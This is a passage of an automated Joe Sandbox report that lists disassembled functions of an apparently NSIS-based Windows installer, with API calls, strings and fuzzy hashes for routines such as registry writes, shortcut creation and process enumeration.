                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: File$Read$CloseCreateHandlelstrcmplstrcpynlstrlenwvsprintf
                                                                    • String ID: %s: failed opening file "%s"$GetTTFNameString$name
                                                                    • API String ID: 1916479912-1189179171
                                                                    • Opcode ID: f010b36bd41cc349b356d7a0090dd4afe09556d9e36f72f9254c82778cae22fc
                                                                    • Instruction ID: 0b41acfa2c3272d6dc61f6848418d9961a63ce1f0aee58dce5ac99f5834af97b
                                                                    • Opcode Fuzzy Hash: f010b36bd41cc349b356d7a0090dd4afe09556d9e36f72f9254c82778cae22fc
                                                                    • Instruction Fuzzy Hash: 8491CB70D1412DAADF05EBE5C9908FEBBBAEF58301F00406AF592F7290E2385A05DB75
                                                                    Function 00406831 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 212stringCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,004241C1,771B23A0,00000000), ref: 00406902
                                                                    • GetSystemDirectoryW.KERNEL32(0046E220,00002004), ref: 00406984
                                                                      • Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042
                                                                    • GetWindowsDirectoryW.KERNEL32(0046E220,00002004), ref: 00406997
                                                                    • lstrcatW.KERNEL32(0046E220,\Microsoft\Internet Explorer\Quick Launch), ref: 00406A11
                                                                    • lstrlenW.KERNEL32(0046E220,00445D80,?,00000000,00404FD5,00445D80,00000000,004241C1,771B23A0,00000000), ref: 00406A73
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: Directory$SystemVersionWindowslstrcatlstrcpynlstrlen
                                                                    • String ID: F$ F$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
                                                                    • API String ID: 3581403547-1792361021
                                                                    • Opcode ID: 30c92c856c733ebf4e786737c731cc744bbcb1db4e86cdf6d89c5ce8018e8b94
                                                                    • Instruction ID: 94ababd57b57874809535cfc920d07d17cc92350817822ff6505e5e4c02fddf3
                                                                    • Opcode Fuzzy Hash: 30c92c856c733ebf4e786737c731cc744bbcb1db4e86cdf6d89c5ce8018e8b94
                                                                    • Instruction Fuzzy Hash: 9E71D6B1A00112ABDF20AF69CC44A7A3775AB55314F12C13BE907B66E0E73C89A1DB59
                                                                    Function 004024FB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 133comCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CoCreateInstance.OLE32(0040AC30,?,00000001,0040AC10,?), ref: 0040257E
                                                                    Strings
                                                                    • CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d, xrefs: 00402560
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: CreateInstance
                                                                    • String ID: CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d
                                                                    • API String ID: 542301482-1377821865
                                                                    • Opcode ID: 9902ece9f4b99e682490ae7949af093cffc61241cd73b0ba5a249ab4bbcbe8c9
                                                                    • Instruction ID: 17e7a05f0d3b91d3be5025a92c0a08315d4604efbe7233a371b14ee5b096337f
                                                                    • Opcode Fuzzy Hash: 9902ece9f4b99e682490ae7949af093cffc61241cd73b0ba5a249ab4bbcbe8c9
                                                                    • Instruction Fuzzy Hash: 9E416E74A00205BFCB04EFA0CC99EAE7B79EF48314B20456AF915EB3D1C679A941CB54
                                                                    Function 004079A2 Relevance: .3, Instructions: 347COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 944ebb341680e93427b3a15fa59e4bc843c1d174164c9a0c79530ba1c2ca476e
                                                                    • Instruction ID: f621f802e1b16f1afd83cb625a9a5dfb13386b99c5f5a138cca70abed5397206
                                                                    • Opcode Fuzzy Hash: 944ebb341680e93427b3a15fa59e4bc843c1d174164c9a0c79530ba1c2ca476e
                                                                    • Instruction Fuzzy Hash: CEE17A71D04218DFCF14CF94D980AAEBBB1AF45301F1981ABEC55AF286D738AA41CF95
                                                                    Function 0040737E Relevance: .3, Instructions: 303COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 1b88eb350fd00fb33316d24ceb9d72a370f105b0c57197cf1d2e0f134c7777fe
                                                                    • Instruction ID: 563abc6a1943806f9f153a5c0538de096a4a033458f435c3a5efc50f2cd88ab2
                                                                    • Opcode Fuzzy Hash: 1b88eb350fd00fb33316d24ceb9d72a370f105b0c57197cf1d2e0f134c7777fe
                                                                    • Instruction Fuzzy Hash: 67C16831A042598FCF18CF68C9805ED7BA2FF89314F25862AED56A7384E335BC45CB85
                                                                    Function 004063D8 Relevance: 70.3, APIs: 29, Strings: 11, Instructions: 256libraryloadermemoryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GlobalAlloc.KERNEL32(00000040,00000FA0), ref: 004063EB
                                                                    • lstrlenW.KERNEL32(?), ref: 004063F8
                                                                    • GetVersionExW.KERNEL32(?), ref: 00406456
                                                                      • Part of subcall function 00406057: CharUpperW.USER32(?,0040642D,?), ref: 0040605D
                                                                    • LoadLibraryA.KERNEL32(PSAPI.DLL), ref: 00406495
                                                                    • GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 004064B4
                                                                    • GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004064BE
                                                                    • GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004064C9
                                                                    • FreeLibrary.KERNEL32(00000000), ref: 00406500
                                                                    • GlobalFree.KERNEL32(?), ref: 00406509
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: AddressProc$FreeGlobalLibrary$AllocCharLoadUpperVersionlstrlen
                                                                    • String ID: CreateToolhelp32Snapshot$EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Kernel32.DLL$Module32FirstW$Module32NextW$PSAPI.DLL$Process32FirstW$Process32NextW$Unknown
                                                                    • API String ID: 20674999-2124804629
                                                                    • Opcode ID: e76717bc544e744264c82aeaea2435e5936e7e477e24acbe68bbbba6ce647f5a
                                                                    • Instruction ID: cf04814c2eceeca0522e3a2239a4cfb7588c45c97b625e8eb28f179f7b3afb0e
                                                                    • Opcode Fuzzy Hash: e76717bc544e744264c82aeaea2435e5936e7e477e24acbe68bbbba6ce647f5a
                                                                    • Instruction Fuzzy Hash: D3919371900219EBDF119FA4CD88AAEBBB8EF04705F11807AE906F7191DB788E51CF59
                                                                    Function 004040E4 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 210windowstringCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404199
                                                                    • GetDlgItem.USER32(?,000003E8), ref: 004041AD
                                                                    • SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004041CA
                                                                    • GetSysColor.USER32(?), ref: 004041DB
                                                                    • SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004041E9
                                                                    • SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004041F7
                                                                    • lstrlenW.KERNEL32(?), ref: 00404202
                                                                    • SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040420F
                                                                    • SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 0040421E
                                                                      • Part of subcall function 00403FF6: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,00000000,00404150,?), ref: 0040400D
                                                                      • Part of subcall function 00403FF6: GlobalAlloc.KERNEL32(00000040,00000001,?,?,?,00000000,00404150,?), ref: 0040401C
                                                                      • Part of subcall function 00403FF6: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000001,00000000,00000000,?,?,00000000,00404150,?), ref: 00404030
                                                                    • GetDlgItem.USER32(?,0000040A), ref: 00404276
                                                                    • SendMessageW.USER32(00000000), ref: 0040427D
                                                                    • GetDlgItem.USER32(?,000003E8), ref: 004042AA
                                                                    • SendMessageW.USER32(00000000,0000044B,00000000,?), ref: 004042ED
                                                                    • LoadCursorW.USER32(00000000,00007F02), ref: 004042FB
                                                                    • SetCursor.USER32(00000000), ref: 004042FE
                                                                    • ShellExecuteW.SHELL32(0000070B,open,0046E220,00000000,00000000,00000001), ref: 00404313
                                                                    • LoadCursorW.USER32(00000000,00007F00), ref: 0040431F
                                                                    • SetCursor.USER32(00000000), ref: 00404322
                                                                    • SendMessageW.USER32(00000111,00000001,00000000), ref: 00404351
                                                                    • SendMessageW.USER32(00000010,00000000,00000000), ref: 00404363
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend$Cursor$Item$ByteCharLoadMultiWide$AllocButtonCheckColorExecuteGlobalShelllstrlen
                                                                    • String ID: F$N$open
                                                                    • API String ID: 3928313111-1104729357
                                                                    • Opcode ID: 9e9e703d48f6c54e41068c493ebacbd9c251cecf858f8a13bd715780d6f12025
                                                                    • Instruction ID: b74f7aac3d4bcd21dc7a54326fe4aeb8052e912a1eb6d084c2fa05dc76f75ebb
                                                                    • Opcode Fuzzy Hash: 9e9e703d48f6c54e41068c493ebacbd9c251cecf858f8a13bd715780d6f12025
                                                                    • Instruction Fuzzy Hash: 5D71B5F1A00209BFDB109F65DD45EAA7B78FB44305F00853AFA05B62E1C778AD91CB99
                                                                    Function 00406AC5 Relevance: 35.2, APIs: 15, Strings: 5, Instructions: 163filestringmemoryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • lstrcpyW.KERNEL32(00465E20,NUL,?,00000000,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA,?,00000000,000000F1,?), ref: 00406AD5
                                                                    • CloseHandle.KERNEL32(00000000,000000F1,00000000,00000001,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA,?,00000000,000000F1,?), ref: 00406AF4
                                                                    • GetShortPathNameW.KERNEL32(000000F1,00465E20,00000400), ref: 00406AFD
                                                                      • Part of subcall function 00405DE2: lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BFF,00000000,[Rename]), ref: 00405DF2
                                                                      • Part of subcall function 00405DE2: lstrlenA.KERNEL32(?,?,00000000,00406BFF,00000000,[Rename]), ref: 00405E24
                                                                    • GetShortPathNameW.KERNEL32(000000F1,0046B478,00000400), ref: 00406B1E
                                                                    • WideCharToMultiByte.KERNEL32(00000000,00000000,00465E20,000000FF,00466620,00000400,00000000,00000000,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA), ref: 00406B47
                                                                    • WideCharToMultiByte.KERNEL32(00000000,00000000,0046B478,000000FF,00466C70,00000400,00000000,00000000,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA), ref: 00406B5F
                                                                    • wsprintfA.USER32 ref: 00406B79
                                                                    • GetFileSize.KERNEL32(00000000,00000000,0046B478,C0000000,00000004,0046B478,?,?,00000000,000000F1,?), ref: 00406BB1
                                                                    • GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00406BC0
                                                                    • ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00406BDC
                                                                    • lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename]), ref: 00406C0C
                                                                    • SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,00467070,00000000,-0000000A,0040A87C,00000000,[Rename]), ref: 00406C63
                                                                      • Part of subcall function 00405E7C: GetFileAttributesW.KERNELBASE(00000003,004035F3,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 00405E80
                                                                      • Part of subcall function 00405E7C: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A73,?), ref: 00405EA2
                                                                    • WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00406C77
                                                                    • GlobalFree.KERNEL32(00000000), ref: 00406C7E
                                                                    • CloseHandle.KERNEL32(?), ref: 00406C88
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: File$ByteCharCloseGlobalHandleMultiNamePathShortWidelstrcpylstrlen$AllocAttributesCreateFreePointerReadSizeWritewsprintf
                                                                    • String ID: ^F$%s=%s$NUL$[Rename]$plF
                                                                    • API String ID: 565278875-3368763019
                                                                    • Opcode ID: 8d6a48264c4b44e6e847a38bbc5540ed6369e357cae48dbe616f47649f698452
                                                                    • Instruction ID: 187392fb1a539ff374a899d42f74550c270b9899c721d3c7d9f4fe98b52eb23c
                                                                    • Opcode Fuzzy Hash: 8d6a48264c4b44e6e847a38bbc5540ed6369e357cae48dbe616f47649f698452
                                                                    • Instruction Fuzzy Hash: F2414B322082197FE7206B61DD4CE6F3E6CDF4A758B12013AF586F21D1D6399C10867E
                                                                    Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 127COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
                                                                    • BeginPaint.USER32(?,?), ref: 00401047
                                                                    • GetClientRect.USER32(?,?), ref: 0040105B
                                                                    • CreateBrushIndirect.GDI32(00000000), ref: 004010D8
                                                                    • FillRect.USER32(00000000,?,00000000), ref: 004010ED
                                                                    • DeleteObject.GDI32(?), ref: 004010F6
                                                                    • CreateFontIndirectW.GDI32(?), ref: 0040110E
                                                                    • SetBkMode.GDI32(00000000,00000001), ref: 0040112F
                                                                    • SetTextColor.GDI32(00000000,000000FF), ref: 00401139
                                                                    • SelectObject.GDI32(00000000,?), ref: 00401149
                                                                    • DrawTextW.USER32(00000000,00476AA0,000000FF,00000010,00000820), ref: 0040115F
                                                                    • SelectObject.GDI32(00000000,00000000), ref: 00401169
                                                                    • DeleteObject.GDI32(?), ref: 0040116E
                                                                    • EndPaint.USER32(?,?), ref: 00401177
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
                                                                    • String ID: F
                                                                    • API String ID: 941294808-1304234792
                                                                    • Opcode ID: 2efc14ad74cb110e0ad817299842ebea0c3d587f520aff37d9c167bf14942bce
                                                                    • Instruction ID: 3a901b8e11bd10f40e8c3d59bf329074d7a31f92ad936af625f7db958ebfa50f
                                                                    • Opcode Fuzzy Hash: 2efc14ad74cb110e0ad817299842ebea0c3d587f520aff37d9c167bf14942bce
                                                                    • Instruction Fuzzy Hash: BF518772800209AFCF05CF95DD459AFBBB9FF45315F00802AF952AA1A1C738EA50DFA4
                                                                    Function 00402880 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 131registrystringCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • RegCreateKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004028DA
                                                                    • lstrlenW.KERNEL32(004140F8,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004028FD
                                                                    • RegSetValueExW.ADVAPI32(?,?,?,?,004140F8,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004029BC
                                                                    • RegCloseKey.ADVAPI32(?), ref: 004029E4
                                                                      • Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
                                                                      • Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3
                                                                    Strings
                                                                    • WriteRegDWORD: "%s\%s" "%s"="0x%08x", xrefs: 00402959
                                                                    • WriteRegExpandStr: "%s\%s" "%s"="%s", xrefs: 0040292A
                                                                    • WriteRegBin: "%s\%s" "%s"="%s", xrefs: 004029A1
                                                                    • WriteRegStr: "%s\%s" "%s"="%s", xrefs: 00402918
                                                                    • WriteReg: error creating key "%s\%s", xrefs: 004029F5
                                                                    • WriteReg: error writing into "%s\%s" "%s", xrefs: 004029D4
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: lstrlen$CloseCreateValuewvsprintf
                                                                    • String ID: WriteReg: error creating key "%s\%s"$WriteReg: error writing into "%s\%s" "%s"$WriteRegBin: "%s\%s" "%s"="%s"$WriteRegDWORD: "%s\%s" "%s"="0x%08x"$WriteRegExpandStr: "%s\%s" "%s"="%s"$WriteRegStr: "%s\%s" "%s"="%s"
                                                                    • API String ID: 1641139501-220328614
                                                                    • Opcode ID: 066b4e300930aa0920c328732a1d1fc015c018ed119ca6dd3c3d5e24db852520
                                                                    • Instruction ID: c6ff7831871a22410ebf281ca69ba80d881ba5d3dc99c3f31bea2db7712f227d
                                                                    • Opcode Fuzzy Hash: 066b4e300930aa0920c328732a1d1fc015c018ed119ca6dd3c3d5e24db852520
                                                                    • Instruction Fuzzy Hash: EE418BB2D00208BFCF11AF91CD46DEEBB7AEF44344F20807AF605761A2D3794A509B69
                                                                    Function 00406113 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 72filestringCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,00406300,00000000), ref: 0040612A
                                                                    • GetFileAttributesW.KERNEL32(00476240,?,00000000,00000000,?,?,00406300,00000000), ref: 00406168
                                                                    • WriteFile.KERNEL32(00000000,000000FF,00000002,00000000,00000000,00476240,40000000,00000004), ref: 004061A1
                                                                    • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,00476240,40000000,00000004), ref: 004061AD
                                                                    • lstrcatW.KERNEL32(RMDir: RemoveDirectory invalid input(""),0040A678,?,00000000,00000000,?,?,00406300,00000000), ref: 004061C7
                                                                    • lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),?,?,00406300,00000000), ref: 004061CE
                                                                    • WriteFile.KERNEL32(RMDir: RemoveDirectory invalid input(""),00000000,00406300,00000000,?,?,00406300,00000000), ref: 004061E3
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1268665484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                    • Associated: 00000000.00000002.1268649956.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268699527.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1268789779.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_400000_File.jbxd
                                                                    Similarity
                                                                    • API ID: File$Write$AttributesCloseHandlePointerlstrcatlstrlen
                                                                    • String ID: @bG$RMDir: RemoveDirectory invalid input("")
                                                                    • API String ID: 3734993849-3206598305
                                                                    • Opcode ID: 48839086a200bf93aa32383a4ca0414da094928b154be734d4a38c22442d7c90
                                                                    • Instruction ID: 195d9f7db6fc7c0c2d4377fc833027156c916e626c5a885f84869a8699de3d55
